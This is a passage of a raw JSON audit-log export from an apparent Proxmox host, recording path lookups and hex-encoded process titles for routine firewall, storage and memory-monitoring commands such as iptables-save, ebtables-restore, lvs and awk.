proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965673906,"@rawstring":"node=pve type=PATH msg=audit(1781965673.906:66605): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.022:59864): proctitle=697073657400726573746F7265"} {"@timestamp":1781965673906,"@rawstring":"node=pve type=PATH msg=audit(1781965673.906:66604): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.015:59863): proctitle=\"ip6tables-save\""} {"@timestamp":1781965673905,"@rawstring":"node=pve type=PATH msg=audit(1781965673.905:66603): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.009:59862): proctitle=\"iptables-save\""} {"@timestamp":1781965668900,"@rawstring":"node=pve type=PATH msg=audit(1781965668.900:66602): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.004:59861): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965668900,"@rawstring":"node=pve type=PATH msg=audit(1781965668.900:66602): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.000:59860): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965668900,"@rawstring":"node=pve type=PATH msg=audit(1781965668.900:66601): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.000:59859): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965668900,"@rawstring":"node=pve type=PATH msg=audit(1781965668.900:66600): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964166.000:59858): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965668890,"@rawstring":"node=pve type=PATH msg=audit(1781965668.890:66599): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964165996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964165.996:59857): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965668890,"@rawstring":"node=pve type=PATH msg=audit(1781965668.890:66599): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964165990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964165.990:59856): proctitle=\"ip6tables-save\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=PATH msg=audit(1781965668.890:66598): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964165983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964165.983:59855): proctitle=\"iptables-save\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=PATH msg=audit(1781965668.890:66597): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964165977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964165.977:59854): proctitle=69707365740073617665"} {"@timestamp":1781965665616,"@rawstring":"node=pve type=PATH msg=audit(1781965665.616:66596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964165971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964165.971:59853): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965665616,"@rawstring":"node=pve type=PATH msg=audit(1781965665.616:66596): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964165964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964165.964:59852): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965665605,"@rawstring":"node=pve type=PATH msg=audit(1781965665.605:66595): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964164641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964164.641:59851): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965665605,"@rawstring":"node=pve type=PATH msg=audit(1781965665.605:66595): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964164609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964164.609:59850): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965665604,"@rawstring":"node=pve type=PATH msg=audit(1781965665.604:66594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964163.147:59849): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665604,"@rawstring":"node=pve type=PATH msg=audit(1781965665.604:66594): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964163.147:59848): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665604,"@rawstring":"node=pve type=PATH msg=audit(1781965665.604:66593): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964163.147:59847): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665597,"@rawstring":"node=pve type=PATH msg=audit(1781965665.597:66592): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964163.135:59846): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665597,"@rawstring":"node=pve type=PATH msg=audit(1781965665.597:66592): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964163.135:59845): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665597,"@rawstring":"node=pve type=PATH msg=audit(1781965665.597:66592): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964163.135:59844): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665580,"@rawstring":"node=pve type=PATH msg=audit(1781965665.580:66591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964159.526:59843): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965665580,"@rawstring":"node=pve type=PATH msg=audit(1781965665.580:66591): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964159526,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964159.526:59842): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965665564,"@rawstring":"node=pve type=PATH msg=audit(1781965665.564:66590): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964159525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964159.525:59841): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965665564,"@rawstring":"node=pve type=PATH msg=audit(1781965665.564:66590): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964158.129:59840): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665543,"@rawstring":"node=pve type=PATH msg=audit(1781965665.543:66589): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964158.129:59839): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665543,"@rawstring":"node=pve type=PATH msg=audit(1781965665.543:66589): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964158129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964158.129:59838): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665532,"@rawstring":"node=pve type=PATH msg=audit(1781965665.532:66588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964158.122:59837): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665532,"@rawstring":"node=pve type=PATH msg=audit(1781965665.532:66588): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964158.122:59836): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665519,"@rawstring":"node=pve type=PATH msg=audit(1781965665.519:66586): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964158122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964158.122:59835): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965665519,"@rawstring":"node=pve type=PATH msg=audit(1781965665.519:66586): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155953,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.953:59834): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965665510,"@rawstring":"node=pve type=PATH msg=audit(1781965665.510:66585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.950:59833): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965665510,"@rawstring":"node=pve type=PATH msg=audit(1781965665.510:66585): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.949:59832): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965665500,"@rawstring":"node=pve type=PATH msg=audit(1781965665.500:66584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.949:59831): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965665500,"@rawstring":"node=pve type=PATH msg=audit(1781965665.500:66584): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.945:59830): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965665493,"@rawstring":"node=pve type=PATH msg=audit(1781965665.493:66583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.938:59829): proctitle=\"ip6tables-save\""} {"@timestamp":1781965665493,"@rawstring":"node=pve type=PATH msg=audit(1781965665.493:66583): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155931,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.931:59828): proctitle=\"iptables-save\""} {"@timestamp":1781965665485,"@rawstring":"node=pve type=PATH msg=audit(1781965665.485:66582): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.925:59827): proctitle=\"ip6tables-save\""} {"@timestamp":1781965665485,"@rawstring":"node=pve type=PATH msg=audit(1781965665.485:66582): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155917,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.917:59826): proctitle=\"iptables-save\""} {"@timestamp":1781965665476,"@rawstring":"node=pve type=PATH msg=audit(1781965665.476:66581): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.914:59825): proctitle=\"ebtables-restore\""} {"@timestamp":1781965665476,"@rawstring":"node=pve type=PATH msg=audit(1781965665.476:66581): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155912,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.912:59824): proctitle=\"ebtables-restore\""} {"@timestamp":1781965665463,"@rawstring":"node=pve type=PATH msg=audit(1781965665.463:66580): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155907,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.907:59823): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965665463,"@rawstring":"node=pve type=PATH msg=audit(1781965665.463:66580): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155901,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.901:59822): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965665452,"@rawstring":"node=pve type=PATH msg=audit(1781965665.452:66579): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.896:59821): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965665452,"@rawstring":"node=pve type=PATH msg=audit(1781965665.452:66579): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.890:59820): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965665446,"@rawstring":"node=pve type=PATH msg=audit(1781965665.446:66578): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.884:59819): proctitle=697073657400726573746F7265"} {"@timestamp":1781965665446,"@rawstring":"node=pve type=PATH msg=audit(1781965665.446:66578): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.878:59818): proctitle=\"ip6tables-save\""} {"@timestamp":1781965665438,"@rawstring":"node=pve type=PATH msg=audit(1781965665.438:66577): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.871:59817): proctitle=\"iptables-save\""} {"@timestamp":1781965665438,"@rawstring":"node=pve type=PATH msg=audit(1781965665.438:66577): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.867:59816): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965665436,"@rawstring":"node=pve type=PATH msg=audit(1781965665.436:66576): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.864:59815): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965665436,"@rawstring":"node=pve type=PATH msg=audit(1781965665.436:66576): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.863:59814): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965665436,"@rawstring":"node=pve type=PATH msg=audit(1781965665.436:66575): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.863:59813): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965665430,"@rawstring":"node=pve type=PATH msg=audit(1781965665.430:66574): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.859:59812): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965665430,"@rawstring":"node=pve type=PATH msg=audit(1781965665.430:66574): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.852:59811): proctitle=\"ip6tables-save\""} {"@timestamp":1781965665430,"@rawstring":"node=pve type=PATH msg=audit(1781965665.430:66574): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155845,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.845:59810): proctitle=\"iptables-save\""} {"@timestamp":1781965665421,"@rawstring":"node=pve type=PATH msg=audit(1781965665.421:66573): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.840:59809): proctitle=69707365740073617665"} {"@timestamp":1781965665421,"@rawstring":"node=pve type=PATH msg=audit(1781965665.421:66573): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.833:59808): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965665413,"@rawstring":"node=pve type=PATH msg=audit(1781965665.413:66572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964155827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964155.827:59807): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965665413,"@rawstring":"node=pve type=PATH msg=audit(1781965665.413:66572): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964154549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964154.549:59806): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965665406,"@rawstring":"node=pve type=PATH msg=audit(1781965665.406:66571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 